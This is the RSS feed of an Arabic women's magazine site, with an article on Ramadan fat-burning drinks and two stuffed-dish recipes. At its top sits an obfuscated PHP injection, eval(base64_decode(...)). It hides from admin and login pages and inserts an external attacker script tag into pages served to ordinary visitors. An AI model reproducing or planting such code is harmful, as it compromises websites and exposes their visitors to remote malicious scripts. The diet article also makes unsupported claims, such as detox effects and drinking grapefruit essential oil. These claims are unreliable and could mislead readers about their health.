eval(base64_decode("aW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAwKTsKaW5pX3NldCgiZGlzcGxheV9zdGFydHVwX2Vycm9ycyIsIDApOwoKaWYgKFBIUF9TQVBJICE9PSAiY2xpIiAmJiAoCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWFkbWluL2FkbWluLWFqYXgucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJwb3MoQCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAiL3dwLWpzb24iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AvdjIiKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtYWRtaW4iKSA9PT0gZmFsc2UgJiYKICAgIHN0cnBvcyhAJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0sICIvd3AtbG9naW4ucGhwIikgPT09IGZhbHNlICYmCiAgICBzdHJ0b2xvd2VyKEAkX1NFUlZFUlsiSFRUUF9YX1JFUVVFU1RFRF9XSVRIIl0pICE9PSAieG1saHR0cHJlcXVlc3QiCikpIHsKICAgIHByaW50KGJhc2U2NF9kZWNvZGUoIlBITmpjbWx3ZENCemNtTTlJaTh2WVdzdVlXdGhiVFl3T0RBd0xtNWxkQzhpUGp3dmMyTnlhWEIwUGc9PSIpKTsKfQ==")); جوزال | منال العالم https://jouzal.com مجلة نسائية عربية Wed, 11 Jan 2023 16:46:15 +0000 ar hourly 1 https://jouzal.com/wp-content/uploads/2021/10/جوزال-2.png جوزال | منال العالم https://jouzal.com 32 32 5 مشروبات لحرق الدهون في رمضان بدون رجيم سالي فؤاد https://jouzal.com/5-%d9%85%d8%b4%d8%b1%d9%88%d8%a8%d8%a7%d8%aa-%d9%84%d8%ad%d8%b1%d9%82-%d8%a7%d9%84%d8%af%d9%87%d9%88%d9%86-%d9%81%d9%8a-%d8%b1%d9%85%d8%b6%d8%a7%d9%86-%d8%a8%d8%af%d9%88%d9%86-%d8%b1%d8%ac%d9%8a%d9%85/ Tue, 02 Mar 2021 15:39:32 +0000 https://jouzal.com/?p=5985 مشروبات لحرق الدهون في رمضان.. تشتهر المشروبات الرمضانية باحتوائها على الكثير من السعرات الحرارية التي من شانها أن تؤدي إلى زيادة الوزن بكل تأكيد، ولكن على خلاف تلك المشروبات، نقدم لكم من خلال ذلك المقال مجموعة من أفضل المشروبات وأكثرها فعالية في انقاص الوزن.

مشروبات للتخسيس ونسف الدهون في رمضان

يبحث الكثير من الأشخاص الذين يرغبون في خسارة المزيد من الوزن عن مشروبات فعالة ومضمونة لنسف الدهون وتخسيس الجسم دون الحاجة إلي اتباع اي نظام رجيم قاسي او متعب، ونقدم لكم عبر مجلتنا جوزال للصحة والجمال، اكثر المشروبات التي حققت نتائج مذهلة في حرق الدهون وفقدان الوزن في شهر رمضان.

الماء الليمون

يفيد شرب كوب من ماء الليمون الدافئ قبل الأكل بحوالي 15 دقيقة في إنقاص الوزن بشكل فعال ، فقد أظهر فعّاليته في التخلّص من السموم وحرق الدهون، فهو يساعد في عمليّة الأيض، ويعمل على تقوّية جهاز المناعة.

طريقة تحضيره: يُضاف عصير نصف حبّة من الليمون، إلى كوبٍ من الماء الدافئ ويمكن إضافة شريحة من الزنجبيل لتقوية مفعوله.

مشروب زيت الغريب فروت

يعدّ زيت الجريب فروت من الزيوت الأساسيّة التي تساعد في فقدان الوزن، حيث تأثيره الفعال في إطلاق الأحماض الدهنيّة في مجرى الدم، بالإضافة إلى مفعولة السريع في الهضم، ويمكن استخدامه بوضع قطرة أو اثنتين من الزيت في زجاجة ماء وشربها بين حين وآخر.

يهمك : اقوي مشروبات لحرق الدهون في رمضان بسرعة رهيبة بدون رجيم #سالي فؤاد

المشروبات التي تساعد علي حرق الدهون في رمضان

الشاي الأخضر

هو من المشروبات الدافئة الشهيرة والمعروف بفوائده المتعددة، وكثيراً ما يستخدمه الأشخاص الذين يتبعون حميات غذائية لانقاص الوزن، فمن المعروف عن الشاي الأخضر احتوائه على كثير من مضادات الأكسدة القويّة، وقدرته على خفض معدّلات الكوليسترول”.

وينصح بشرب الشاي الأخضر في درجة حرارة أقلّ من درجة الغليان، ويمكن إضافة قطرات من عصير الليمون لتعزيز مفعوله.

شاي الايورفيديك

من المشروبات الهامة التي تستهدف عند استخدامها القضاء على الوزن الزائد، وذلك من خلال تأثيره الفعال في تحسين الهضم، وهو من المشروبات التي تقاوم تراكم الدهون، ويساعد الجسم في التخلص من السموم.

https://www.youtube.com/watch?v=6pvsNQ7dtHE

طريقة تحضيره: يضاف حوالى نصف ملعقة صغيرة من بذور الكزبرة ونصف ملعقة من الكمّون ومثلها من الشمّر، إلى ما يقارب خمس أكواب من الماء المغلي ويفضل ترك الخليط منقوع لفترة وجيزة، ثم يُصفّى ويُشرب على مدار اليوم.

خل التفاح

يعرف خلّ التفاح بفوائده العديدة، مثل استخدامه في تحسين مستويات السكر في الدم وفعاليته في تعزيز عمليات الهضم، فضلاً عن استخدامه كحارق للدهون عند مزجه مع الماء والعسل.

طريقة تحضيره: يتم خلط ملعقة صغيرة من خلّ التفاح مع كوب من الماء الدافئ أو الفاتر، ويُفضل شربه قبل تناول وجبة السحور.

]]> طريقة عمل دجاج محشي بالفريك والمكسرات الطريقة الأصلية لطعم خرافى https://jouzal.com/%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%b9%d9%85%d9%84-%d8%a7%d9%84%d8%af%d8%ac%d8%a7%d8%ac-%d8%a7%d9%84%d9%85%d8%ad%d8%b4%d9%89-%d8%a8%d8%a7%d9%84%d9%81%d8%b1%d9%8a%d9%83-%d9%88%d8%a7%d9%84%d9%85%d9%83/ Tue, 03 Dec 2019 00:54:16 +0000 https://jouzal.com/?p=3957 سيدتي إذا كنت تخططين لعزومة، فإننا وفرنا عليك عناء التفكير بماذا ستقدمين بعزومتك من أطباق رئيسية رائعة الطعم وسهلة التحضير..قدمي دجاج محشي بالفريك والمكسرات وفاجئيهم بأطيب طعم.

طريقة عمل دجاج محشي بالفريك والمكسرات

المكونات:
دجاجة واحدة وزن 1200 جرام
2 بصلة مفرومة ناعم
2 كوب فريك مغسول ومنقوع 10 دقائق فى ماء عادى
2 كوب ماء مغلى لتسوية الفريك
ملعقة سمن كبيرة مع زيت لتحمير البصل وملعقة سمن أخري أو زيت لدهن الدجاج أثناء عمليه التحمير بالفرن.
قليل من أي نوع من المكسرات اللي تفضلوه جزء يطهى مع الفريك وجزء يحمر في الطاسة للتزيين.
بهارات تسوية الفريك (ملح+فلفل إسود+ربع ملعقة صغيرة حبهان مطحون+١/٢ملعقة صغيرة سبع بهارات أو بهارات لحمة+رشة قرفة وجوزة الطيب).
بهارات سلق الدجاج (بصلة مفرومة+ملح و فلفل أسود+ ورقتين لورى +فصين مستكة+ ٣فصوص حبهان).

محشي ورق عنب باللحمة الضاني علي طريقة الشيف منال العالم


طريقة التحضير


  • تُغسل الدجاجة جيدا بالماء الجارى ثم تُنقع فى وعاء ماء وخل لمدة نصف ساعة، تستخرج بعدها الدجاجة من الوعاء وتشطف
  • جيدا مرة أخرى بالماء الجارى وتترك جانبا.
  • يذبل البصل مع السمن والزيت حتى يصفر لونهم ثم يوضع القليل من المكسرات المتوفرة وتوضع جميع بهارات تسوية الفريك وتقلب قليلا ثم يوضع الفريك المنقوع والمصفى وعليهم الماء اللازم لتسويته.
  • يتركوا على نار عالية حتى يتشرب الماء ثم نقوم بتهدئة النار ويغطى ويسوي ٣/٤ سواء فقط.
  • تحشى الدجاجة بالفريك وتسلق في ماء مغلى ونضع به جميع بهارات سلق الدجاج.
  • لا نبالغ في تسوية الدجاجة تقريبا ١٥ دقيقة تكون ناضجة.
  • توضع الدجاجة في صينية وتدهن بالسمن أو الزبد ويحمر الوجه في الفرن على الهادي.
  • في منتصف التحمير تدهن مرة أخري ونكمل تحميرها.
  • تحمر باقي المكسرات في طاسة بها ملعقة سمن أو بدون حسب الرغبة.
]]> محشي ورق عنب باللحمة الضاني علي طريقة الشيف منال العالم https://jouzal.com/%d9%85%d8%ad%d8%b4%d9%8a-%d9%88%d8%b1%d9%82-%d8%b9%d9%86%d8%a8-%d8%a8%d8%a7%d9%84%d9%84%d8%ad%d9%85%d8%a9-%d8%a7%d9%84%d8%b6%d8%a7%d9%86%d9%8a-%d8%b9%d9%84%d9%8a-%d8%b7%d8%b1%d9%8a%d9%82%d8%a9-%d8%a7/ Tue, 19 Nov 2019 18:41:58 +0000 https://jouzal.com/?p=3685
محشي ورق عنب.. من أحضان الدولة العثمانية بدأ طبق ورق العنب الشهى ثم انتشر بشكل واسع فى دول الشرق الأوسط وأصبح واحدًا من أشهر الأطباق فى الوطن العربى ولا سيما بلاد الشام والخليج العربى ومصر.

تاريخ محشى ورق العنب

يرجع تاريخ محشى ورق العنب إلى العام 1300 ميلادية، ويعد واحدًا من أشهى الأكلات التى انتقلت للعرب من الأتراك خلال فترة الدولة العثمانية، وكان يعرف عند الأتراك باسم “يبرق” وهى كلمة تركية تعنى “ورق العنب” وكان يقصد بها ورق العنب المحشو بالأرز مع اللحم المفروم أما محشى ورق العنب الذى نعرفه فى الوقت الحالى بالأرز بالخلطة والبهارات وحسب فكان يعرف باسم “اليالنجى” بمعنى “الكذاب” أى أنه بدون لحم.
ونخبركم اليوم بكيفية عمل محشي ورق العنب مع لحم الخرفان “اللحمة الضاني” علي طريقة الشيف منال العالم.

مقادير الوصفة

3-2 كيلو فخذ خروف
1 ملعقة كبيرة بهار مشكل
1/2 ملعقة صغيرة فلفل اسود
1 ملعقة صغيرة قرفة ناعمة
2 ملعقة صغيرة ملح
1 حبة كبيرة بصل مقطع شرائح دائرية
4 كوب أرز قصير الحبة (مصري)
300 جرام لحم مفروم
2 حبة متوسطة بصل مفروم ناعم
2 فص ثوم مهروس
2 ملعقة صغيرة ملح
1/2 ملعقة صغيرة فلفل أسود
1 ملعقة صغيرة بهار مشكل
1 ملعقة صغيرة كركم
1 برطمان ورق عنب
10 حبة كوسى
10 حبة باذنجان
3 حبة كبيرة طماطم مفرومة
المرق
2 ملعقة كبيرة دبس الرمان
1/4 كوب عصير ليمون
6 كوب مرق
1/2 كوب زيت ذرة
1 ملعقة كبيرة ملح

طريقة التحضير

  1. في طبق زجاج واسع ضعي الفخذ. أنثري البهار، الفلفل، القرفة والملح، ادعكي الفخذ بالبهارات ليتغطى تماما. دعيه جانبا.
  2. إغسلي الأرز عدة مرات وانقعيه في ماء دافئ لمدة ٣٠ دقيقة.
  3. صفي الأرز وضعي في طبق عميق. أضيفي اللحم المفروم، البصل، الثوم، الملح، الفلفل، البهار والكركم. قلبي المواد بأطراف أصابعك لتختلط جيدا.
  4. باستعمال مقورة الخضروات أخرجي اللب من الكوسا. اخرجي اللب من الباذنجان. ضعي الكوسا والباذنجان في ماء مملح لعدة دقائق ثم صفيها تماما من الماء.
  5. إحشي حبات الكوسا والباذنجان بالأرز مع ترك مسافة ١ سنتيمتر تقريبا عند الحافة بدون أرز كي تتركي مجال لحبات الأرز ان تنتفخ ويتضاعف حجمها أثناء الطهي.
  6. ضعي ورقة من ورق العنب على الطاولة أمامك بحيث تكون الجهة الخشنة للاعلى، ضعي قليل من الأرز على طرف الورقة، اثني طرف الورقة والجوانب على الأرز، لفي الورقة لتحصلي على أصبع من ورق العنب المحشي. أكملي بقية الورق والأرز مع الاحتفاظ بعدة أوراق من ورق العنب لاستعمالها لطهي ورق العنب.
  7. في قدر كبير الحجم سميك القاعدة ضعي ٥ او ٦ ورقات من ورق العنب الغير ملفوف بحيث تغطي القاع. ضعي فخذ الخاروف بحيث تكون جهة الدهن للاسفل. وزعي حبات ورق العنب الملفوفة، الكوسا، الباذنجان، البصل الشرائح والطماطم. ضعي بضع ورقات من ورق العنب الغير ملفوف على الخضروات.
  8. المرق: في طبق عميق دبس الرمان، العصير، المرق، الزيت والملح، قلبي المواد لتختلط. أسكبي المرق على ورق العنب. ضعي طبق من الزجاج على ورق العنب بحيث تغطي الورق تماما. ضعي ثقل على الطبق. وضع الثقل على الطبق يحافظ على حبات ورق العنب من التفكك اثناء طهي الأرز.
  9. ضعي القدر على نار متوسطة ليغلي بقوة لمدة ٣٠ دقيقة. تخلصي من الثقل على الطبق. غطي القدر ودعيه على نار هادئة لمدة ساعة إلى ساعة ونصف لينضج اللحم والأرز.
  10. . تخلصي من الطبق، تخلصي من ورق العنب الغير ملفوف. اقلبي قدر ورق العنب على طبق التقديم وتخلصي من الورق الغير ملفوف. قدمي ورق العنب مع فخذ الخروف ساخنا مع سلطة اللبن او اللبن الزبادي

]]>